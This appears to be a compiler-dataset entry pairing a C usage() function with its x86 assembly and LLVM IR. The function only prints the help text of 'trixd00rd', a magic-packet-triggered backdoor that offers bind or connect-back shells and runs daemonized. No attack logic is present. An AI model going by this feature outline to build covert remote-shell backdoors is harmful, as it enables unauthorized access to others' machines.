#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ printf(char *);
void usage() {
  printf("usage:\n\n  trixd00rd -i <arg> [options]\n    \noptions:\n\n  -i "
         "<iface>    - interface to use\n  -t <type>     - magic packet type - "
         "? to list all (default TCP SYN)\n  -p <payload>  - magic payload "
         "string to trigger shell (default opensesame)\n  -s <mode>     - "
         "shell mode - ? to list all (default TCP bind port)\n");
  printf(
      "  -b <port>     - port for shell (default 31337)\n  -a <host>     - "
      "allow only this host to talk to trixd00rd (default ANY)\n  -c <host>    "
      " - connect back host\n  -z <payload>  - magic payload string to quit "
      "trixd00rd (default byebye)\n  -d            - daemonize trixd00rd and "
      "put in background\n  -n            - send no welcome and bye banner\n");
  printf("  -x            - use ssl (only available in priv8 version!)\n  -v   "
         "         - verbose mode (default quiet)\n  -V            - show "
         "trixd00rd version\n  -H            - show help and usage\n");
  return;
}


x86 assembly (clang, -O0):
<usage>:
push   %rbp
mov    %rsp,%rbp
lea    0xee5(%rip),%rdi
call   1030 <printf@plt>
lea    0x100b(%rip),%rdi
call   1030 <printf@plt>
lea    0x1156(%rip),%rdi
call   1030 <printf@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<usage>:
push   %rax
lea    0xee8(%rip),%rdi
call   1030 <puts@plt>
lea    0x100d(%rip),%rdi
call   1030 <puts@plt>
lea    0x1157(%rip),%rdi
pop    %rax
jmp    1030 <puts@plt>

LLVM IR (-O0):
@.str = [306 x i8] c"usage:\0A\0A trixd00rd -i <arg> [options]\0A \0Aoptions:\0A\0A -i <iface> - interface to use\0A -t <type> - magic packet type - ? to list all (default TCP SYN)\0A -p <payload> - magic payload string to trigger shell (default opensesame)\0A -s <mode> - shell mode - ? to list all (default TCP bind port)\0A\00"
@.str.1 = [343 x i8] c" -b <port> - port for shell (default 31337)\0A -a <host> - allow only this host to talk to trixd00rd (default ANY)\0A -c <host> - connect back host\0A -z <payload> - magic payload string to quit trixd00rd (default byebye)\0A -d - daemonize trixd00rd and put in background\0A -n - send no welcome and bye banner\0A\00"
@.str.2 = [188 x i8] c" -x - use ssl (only available in priv8 version!)\0A -v - verbose mode (default quiet)\0A -V - show trixd00rd version\0A -H - show help and usage\0A\00"
define void @usage() {
%1 = call i32 @printf(i8* getelementptr inbounds ([306 x i8], [306 x i8]* @.str, i64 0, i64 0))
%2 = call i32 @printf(i8* getelementptr inbounds ([343 x i8], [343 x i8]* @.str.1, i64 0, i64 0))
%3 = call i32 @printf(i8* getelementptr inbounds ([188 x i8], [188 x i8]* @.str.2, i64 0, i64 0))
ret void
}

LLVM IR (-O2):
@str = [305 x i8] c"usage:\0A\0A trixd00rd -i <arg> [options]\0A \0Aoptions:\0A\0A -i <iface> - interface to use\0A -t <type> - magic packet type - ? to list all (default TCP SYN)\0A -p <payload> - magic payload string to trigger shell (default opensesame)\0A -s <mode> - shell mode - ? to list all (default TCP bind port)\00"
@str.3 = [342 x i8] c" -b <port> - port for shell (default 31337)\0A -a <host> - allow only this host to talk to trixd00rd (default ANY)\0A -c <host> - connect back host\0A -z <payload> - magic payload string to quit trixd00rd (default byebye)\0A -d - daemonize trixd00rd and put in background\0A -n - send no welcome and bye banner\00"
@str.4 = [187 x i8] c" -x - use ssl (only available in priv8 version!)\0A -v - verbose mode (default quiet)\0A -V - show trixd00rd version\0A -H - show help and usage\00"
define void @usage() {
%1 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([305 x i8], [305 x i8]* @str, i64 0, i64 0))
%2 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([342 x i8], [342 x i8]* @str.3, i64 0, i64 0))
%3 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([187 x i8], [187 x i8]* @str.4, i64 0, i64 0))
ret void
}